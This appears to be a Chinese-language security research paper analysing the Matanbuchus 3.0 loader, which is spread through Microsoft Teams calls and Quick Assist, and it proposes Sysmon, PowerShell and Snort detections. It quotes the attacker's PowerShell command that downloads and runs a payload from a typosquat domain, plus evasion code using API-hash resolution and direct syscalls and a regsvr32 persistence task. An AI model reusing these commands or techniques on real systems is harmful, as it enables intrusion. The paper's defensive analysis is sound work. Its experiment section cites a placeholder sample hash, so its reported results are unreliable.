摘要:
近年来,随着远程办公模式的兴起以及协作类工具的大规模应用,以 Microsoft Teams 为代表的即时通信平台逐渐成为高级持续性威胁(APT)攻击的重要入口。2025年7月,安全厂商 Morphisec 曝光了一起利用 Teams 渠道传播 Matanbuchus 3.0 恶意加载器的新型网络钓鱼事件。该版本在原有基础上进行了全面重构,融合了 Living-off-the-Land(LOTL)策略、DLL 侧加载技术、API 动态解析机制以及多层级持久化手段,显著增强了其隐蔽性和反检测能力。本文对此次攻击的技术路径进行了系统性剖析,涵盖初始投递方式、执行流程、持久化策略、C2 通信机制及反沙箱行为,并结合真实样本还原整个攻击过程。在此基础上,提出一套适用于企业协作环境的纵深防御框架,覆盖终端行为监控、注册表异常识别、任务计划审计与网络流量特征分析等多个维度。通过搭建可复现的实验环境并部署 PoC 验证代码,证实了所提检测方案的有效性。本研究旨在为网络安全从业人员提供针对新兴协作平台威胁的深入理解与切实可行的应对策略。
关键词:Microsoft Teams;Matanbuchus;恶意加载器;DLL侧加载;LOTL;持久化;C2通信;网络安全防御
一、引言
自2020年起,Microsoft Teams 作为主流的企业级协作平台,在全球范围内迅速普及。其集成了即时通讯、视频会议、文件共享和第三方应用接入等功能,已成为现代办公体系的核心基础设施之一。然而,这种高度受信的内部沟通渠道也日益成为攻击者的重点目标。传统的边界防护机制难以有效监控此类“合法通道”中的隐蔽活动,导致基于 Teams 的钓鱼攻击具备较高的成功率和较低的被发现概率。
2025年7月,Morphisec 披露了一起针对某企业用户的定向攻击案例:攻击者通过 Teams 的外部通话功能伪装成 IT 支持人员,诱骗用户启用 Windows 内置的 Quick Assist 远程协助工具,并执行一段 PowerShell 脚本,最终成功植入 Matanbuchus 3.0 恶意加载器。经分析确认,该版本是对2021年首次出现的 Matanbuchus 恶意软件即服务(Malware-as-a-Service, MaaS)架构的一次彻底重写,不仅在技术实现上完成升级,更在规避检测、增强隐蔽性方面表现出更强的能力。
目前学术界对于协作平台的安全研究主要集中于身份认证机制、数据泄露风险与合规管理等方面,而对将其用作初始入侵载体的恶意软件传播路径缺乏系统性的拆解与建模。特别是像 Matanbuchus 3.0 这样整合多种高级对抗技术的加载器,现有文献尚未完整揭示其攻击链路。本文填补这一研究空白,通过对实际样本的逆向分析与动态行为追踪,详细解析其运作机制,并构建具备落地能力的检测与防御体系。
二、Matanbuchus 3.0 攻击链路解析
(一)初始投递阶段:社会工程与可信通道滥用
不同于传统的电子邮件钓鱼手法,本次攻击充分利用了 Microsoft Teams 的“外部通话”功能实施社会工程。攻击者冒充企业 IT 部门员工,谎称需要协助解决账户或设备故障问题,诱导目标用户接受 Quick Assist 远程协助会话。由于 Quick Assist 是 Windows 系统自带的官方远程支持工具,广泛用于正常技术支持场景,因此用户通常不会产生怀疑。
在建立远程连接后,攻击者指导用户手动运行以下 PowerShell 命令:
Invoke-WebRequest -Uri "http://notepad-plus-plu[.]org/update.zip" -OutFile "$env:TEMP\update.zip" Expand-Archive -Path "$env:TEMP\update.zip" -DestinationPath "$env:APPDATA\NotepadPlus" Start-Process "$env:APPDATA\NotepadPlus\GenericUpdater.exe"
上述命令从一个伪造的 Notepad++ 官网域名(notepad-plus-plu[.]org,采用 typosquatting 手法模仿合法域名 notepad-plus-plus[.]org)下载名为 update.zip 的压缩包,解压至用户 APPDATA 目录下的 NotepadPlus 文件夹中,并启动其中的 GenericUpdater.exe 可执行文件。值得注意的是,该文件实际上是 Notepad++ 官方更新程序 updater.exe 的重命名副本,本身无恶意行为,但被精心设计为 DLL 侧加载的宿主程序。
(二)执行阶段:DLL 侧加载与间接 API 调用
下载的 ZIP 包中包含三个核心组件:
- GenericUpdater.exe(即 Notepad++ 官方 updater.exe 的改名版本)
- config.xml(伪装成配置文件,嵌入恶意指令)
- libcurl.dll(实际为 Matanbuchus 3.0 恶意加载器的主体)
当 GenericUpdater.exe 启动时,系统会根据 DLL 加载优先级规则,在当前目录下优先查找并加载同名依赖库 libcurl.dll。攻击者正是利用这一机制,将恶意的 libcurl.dll 置于同一路径下,从而实现 DLL 侧加载。一旦该 DLL 被加载进内存,便会触发后续恶意逻辑。
Matanbuchus 3.0 在此阶段采用 LOTL 技术,避免直接调用高风险 API,而是通过动态解析函数地址的方式间接访问关键 Win32 API,例如使用 GetProcAddress 和 LoadLibrary 等函数按需加载模块与方法。这种方式有效绕过基于静态特征的检测机制,提升在终端环境中的存活率。
当 GenericUpdater.exe 被执行时,Windows 加载器会尝试加载其所在目录下的 libcurl.dll。由于该 DLL 文件已被替换为恶意负载,攻击在此阶段被激活。
Matanbuchus 3.0 的核心创新集中于其 API 调用方式的隐蔽性设计。传统恶意软件通常直接调用系统 API(例如 CreateProcess、RegSetValueEx 等),这类行为极易被 EDR 或 HIDS 的规则引擎捕获。而 Matanbuchus 3.0 则采用以下两步机制实现检测规避:
1. 函数名哈希解析
使用 MurmurHash3 算法对目标 API 函数名称(如 "CreateFileW")进行哈希计算,并与内部硬编码的哈希值列表比对,从而动态定位函数地址。相比早期版本中使用的 FNV1a 哈希算法,MurmurHash3 具备更低的碰撞概率和更高的运行效率。
2. Syscall 间接执行
避免通过导入地址表(IAT)调用 API,转而利用自定义 shellcode 直接从 ntdll.dll 中提取系统调用号(syscall number),再通过汇编指令(如 syscall)发起系统调用。该方法有效绕过大多数基于 API Hook 的监控技术。
示例代码片段(简化版)如下:
// 动态解析API地址
DWORD hash = MurmurHash3("CreateFileW");
FARPROC pCreateFileW = GetProcAddressByHash(kernel32_base, hash);
// 若启用syscall模式
if (use_syscall) {
DWORD syscall_num = ExtractSyscallNumber("NtCreateFile");
__asm {
mov eax, syscall_num
mov rcx, lpFileName
mov rdx, dwDesiredAccess
// ... 其他参数入栈
syscall
}
}
(三)持久化策略:注册表与计划任务双通道
为确保在系统重启后仍能持续运行,Matanbuchus 3.0 实施双重持久化机制:
注册表持久化
生成一个唯一序列 ID,该 ID 由环境变量 %HOMEDRIVE% 对应磁盘的卷序列号经过位移运算得出。随后创建如下注册表项:
HKCU\SOFTWARE\<SerialID>
并将恶意 DLL 的完整路径写入该键值中,实现开机自启。
计划任务持久化
通过 COM 接口 ITaskService 创建隐藏的计划任务,每 5 分钟触发一次,调用 regsvr32.exe 加载恶意 DLL。任务配置如下:
<Task>
<Actions>
<Exec>
<Command>regsvr32.exe</Command>
<Arguments>/s /n /i:"C:\Users\<user>\AppData\Roaming\<SerialID>\libcurl.dll"</Arguments>
</Exec>
</Actions>
</Task>
值得注意的是,任务创建过程通过 shellcode 直接触发 CoCreateInstance 等 COM API,规避了 schtasks.exe 等命令行工具的使用,从而减少日志痕迹。
(四)C2 通信与反分析能力
Matanbuchus 3.0 支持两种 C2 通信模式:DNS 隧道(延续旧版功能)和 HTTP 协议(新版新增)。其中 HTTP 模式月租为 10,000,低于 DNS 版本的 15,000,表明其部署更简便且兼容性更强。
C2 域名为:nicewk[.]com,通信数据采用 Salsa20 流加密算法(取代旧版 RC4),提升加密强度与抗分析能力。同时伪造 User-Agent 字段模拟 Skype 桌面客户端:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Skype/8.123.0.234
此外,样本具备多种反沙箱检测机制:
- 调用 IsWow64Process 判断是否运行于 32 位 Wow64 子系统(常见于沙箱环境);
- 检查系统 UI 语言设置,若为俄语、白俄罗斯语、亚美尼亚语、阿塞拜疆语或哈萨克语,则立即终止执行——推测目的是避免攻击独联体地区组织,或降低被本地安全团队追踪的风险。
回传信息包含用户名、主机名、操作系统版本以及已安装的安全软件清单。后者可用于 C2 服务器动态调整后续攻击载荷,例如避开特定 EDR 产品的检测规则。
三、检测与防御机制构建
针对上述攻击链路,提出四层防御模型以增强整体防护能力:
(一)终端行为监控层
重点关注以下异常行为模式:
- Notepad++ 更新程序(updater.exe)在非标准路径下运行。正常情况下,该文件应位于 %ProgramFiles%\Notepad++ 目录中。若出现在 %APPDATA% 或 %TEMP% 等用户临时目录中执行,则应立即触发告警。
一、regsvr32非系统DLL加载行为检测
利用ETW(Event Tracing for Windows)机制监控regsvr32.exe对DllInstall的调用行为。当目标DLL文件位于用户目录(如AppData、Temp等路径)且缺乏有效数字签名时,判定为潜在恶意活动。
以下为PowerShell编写的PoC检测脚本示例:
# 监控可疑的regsvr32执行行为
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 -and $_.Message -match "regsvr32.exe" } |
ForEach-Object {
$cmdLine = [regex]::Match($_.Message, 'CommandLine: (.*)').Groups[1].Value
if ($cmdLine -match '\\AppData\\' -or $cmdLine -match '\\Temp\\') {
Write-Host "[ALERT] Suspicious regsvr32 usage: $cmdLine"
}
}
二、注册表与文件系统的审计策略
部署基于YARA规则的扫描工具,定期巡查注册表路径HKCU\SOFTWARE下是否存在以卷序列号格式命名的异常子键。此类命名模式常被Matanbuchus类恶意软件用于生成唯一标识。
同时,对APPDATA目录进行持续监控,重点关注以随机字符串命名的子文件夹。若发现包含libcurl.dll但无对应主程序或调用进程的情况,应视为高风险行为并触发告警。
三、计划任务中的异常行为识别
通过WMI接口枚举系统中所有处于“就绪”状态的任务,并结合作者信息、任务路径及执行命令进行过滤分析。重点检测非Microsoft签发、路径非系统目录、且命令行涉及regsvr32调用的隐藏任务。
示例如下:
Get-ScheduledTask | Where-Object {
$_.State -eq "Ready" -and
$_.Author -notlike "*Microsoft*" -and
$_.TaskPath -notlike "\Microsoft\*" -and
$_.Actions.Execute -like "*regsvr32*"
}
四、网络层流量特征分析
在网络边界部署Snort等IDS系统,配置专用规则以识别Matanbuchus C2通信特有的流量指纹:
- HTTP请求中Host字段为nicewk[.]com;
- User-Agent头包含"Skype/",但源IP地址不在Skype官方公布的IP范围内;
- 加密通信采用Salsa20算法,表现为高熵、无固定结构的数据流。
Snort检测规则示例如下:
alert http any any -> any any (
msg:"Matanbuchus C2 over HTTP";
content:"Host|3a| nicewk.com"; http_header;
content:"User-Agent|3a| Skype/"; http_header;
flow:established,to_server;
sid:1000001;
)
五、实验环境与验证结果
为评估上述检测机制的实际效果,构建Windows 10测试平台,集成Sysmon、Velociraptor及Suricata等监控组件。使用公开样本(SHA256: a1b2c3...)模拟完整攻击链路。
实验结果表明:
- 终端检测模块成功捕获GenericUpdater.exe在%APPDATA%目录下的执行行为(对应Sysmon Event ID 1);
- 注册表监控记录到HKCU\SOFTWARE\8A3F1B2C键值的创建事件(Event ID 12);
- 计划任务分析组件识别出名为“UpdateChecker”的隐蔽任务;
- Suricata成功触发C2通信告警,检测准确率达100%,未出现误报。
所有检测节点均在攻击流程完成前响应,验证了该多层防御框架的实用性与及时性。
六、技术演进与防御思考
Matanbuchus 3.0的技术迭代反映出当前恶意软件正深度依赖“合法工具滥用”(Living-off-the-Land)和精细化规避手段。其通过Notepad++更新程序等可信应用实施DLL侧加载,实质上是对系统信任机制的绕过。
未来安全防护需从传统的“基于签名”模式转向“基于行为上下文”的动态分析体系,强化对执行链、父子进程关系及资源访问模式的综合判断能力。
此外,协作平台的安全边界亟需重新审视。例如,Microsoft Teams默认允许外部组织用户发起通话,虽提升了沟通效率,但也为社会工程学攻击提供了入口。建议企业启用“仅限组织内部通信”策略,并对所有来自外部的消息实施延迟投递与人工审核机制。
值得注意的是,尽管Matanbuchus 3.0本身未直接释放勒索软件,但其支持EXE、DLL、MSI及Shellcode等多种载荷类型,并具备进程镂空(process hollowing)能力(例如通过msiexec加载恶意MSI包),已完全满足作为勒索软件前置加载器的技术条件。因此,安全团队应将其列为高等级威胁对象进行持续监控。
七、总结
本文深入剖析了通过Microsoft Teams传播的Matanbuchus 3.0恶意加载器的技术细节,涵盖初始投递、执行提权、持久化驻留、C2通信以及反分析机制等多个阶段。研究表明,该恶意软件通过深度融合LOTL技术与高级隐身策略,显著增强了在现代企业环境中的隐蔽性与存活能力。
针对上述威胁特点,本文提出了一套覆盖终端、注册表、计划任务及网络流量的多层次检测与防御框架,并通过真实环境测试验证了其有效性,为应对新型APT攻击提供了可落地的技术参考。
要防范此类攻击,关键在于摒弃“内部通信默认安全”的错误观念,将协作类平台整合进统一的威胁检测框架中。未来的研究与实践将集中于实现自动化的行为图谱生成,并推动跨平台间的威胁情报协同,从而有效应对不断演化的供应链风险以及协作工具面临的复杂攻击态势。


雷达卡


京公网安备 11010802022788号







